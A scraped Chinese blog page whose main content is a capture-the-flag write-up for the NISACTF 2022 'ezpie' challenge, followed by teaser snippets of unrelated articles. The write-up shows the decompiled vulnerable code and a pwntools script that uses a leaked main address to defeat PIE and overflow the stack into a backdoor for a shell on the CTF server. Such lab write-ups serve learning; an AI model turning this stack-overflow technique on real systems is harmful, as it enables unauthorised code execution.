news 2026/5/6 10:47:50

[NISACTF 2022]ezpie

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
[NISACTF 2022]ezpie

第一次打CTF——PWN篇学习笔记14

这道题开启了PIE保护,但程序中直接泄露了main函数的随机地址,因此我们可以进行直接计算

int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdin, 0); setbuf(stdout, 0); puts("OHHH!,give you a gift!"); printf("%p\n", main); puts("Input:"); vuln(); return 0; } ssize_t vuln() { _BYTE buf[40]; // [esp+0h] [ebp-28h] BYREF ​ return read(0, buf, 0x50u); } ssize_t vuln() { _BYTE buf[40]; // [esp+0h] [ebp-28h] BYREF ​ return read(0, buf, 0x50u); }

又发现栈溢出和后门函数,且main函数地址为0x770,shell函数地址为0x80F,据此编写脚本,即可得到flag

from pwn import * import struct ​ context.arch = 'i386' context.os = 'linux' ​ #io = process('./pwn') io = remote("node5.anna.nssctf.cn",23609) ​ io.recvuntil(b"OHHH!,give you a gift!\n") ​ main = int(io.recvline().strip(), 16) ​ backdoor = main - 0x770 + 0x80F ​ payload = cyclic(0x28 + 4) + p64(backdoor) ​ io.sendline(payload) ​ io.interactive()
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/5 4:13:50

我发现流复制要手动处理后来才知道用stream.duplicate

💓 博客主页:瑕疵的CSDN主页 📝 Gitee主页:瑕疵的gitee主页 ⏩ 文章专栏:《热点资讯》 目录为啥我要学Node.js? Node.js到底是个啥? Node.js能干啥? 安装Node.js踩过的坑 Node.js开…

作者头像 李华
网站建设 2026/4/30 23:50:46

全球USB厂商及设备ID完整清单

USB厂商及设备ID参考指南 在现代计算环境中,每一个通过USB接口连接的设备——无论是键盘、鼠标、打印机,还是U盘、摄像头或开发板——都需要一个唯一的身份标识。这个身份由一对16位十六进制数组成:Vendor ID(厂商ID)…

作者头像 李华
网站建设 2026/5/4 2:32:01

FLUX.1-dev FP8量化版:中端显卡的AI绘画突破

FLUX.1-dev FP8量化版:中端显卡的AI绘画突破 在生成式AI飞速演进的今天,一个令人兴奋的趋势正在浮现:顶级模型不再只是“显卡战神”的专属玩具。随着 FLUX.1-dev FP8量化版本 的发布,一款拥有120亿参数、基于创新 Flow Transforme…

作者头像 李华
网站建设 2026/5/3 19:16:53

gpt-oss-120b/20b安装使用与实战全攻略

gpt-oss-20b:本地大模型的实用入口与深度实践 在生成式 AI 快速演进的今天,越来越多开发者不再满足于调用云端 API。隐私顾虑、响应延迟、成本控制以及对定制能力的渴求,正推动着“本地运行大模型”从技术尝鲜走向实际落地。而就在这个节点上…

作者头像 李华
网站建设 2026/5/3 6:16:23

单菌基因组数据分析文献和教程集锦

单菌基因组数据分析 工具详解SRA公共测序数据的检索、下载从公共数据库获取细菌基因组的测序数据公共数据对细菌基因组的重要性及SRA使用模式菌(流行病学、进化)与非模式菌(组装、注释)获取公共数据 (二代三代)从公共数据库中获取同一株菌的illunima、pacbio以及nanopore测序数…

作者头像 李华
网站建设 2026/4/30 23:48:29

centos安装ffmpeg环境

在这之前要先安装opensslwget https://www.openssl.org/source/openssl-1.1.1.tar.gz tar -zxvf openssl-1.1.1.tar.gz cd openssl-1.1.1 ./config --prefix/usr/local/openssl make sudo make install1.下载ffmpeg5安装包wget http://www.ffmpeg.org/releases/ffmpeg-5.1.tar.…

作者头像 李华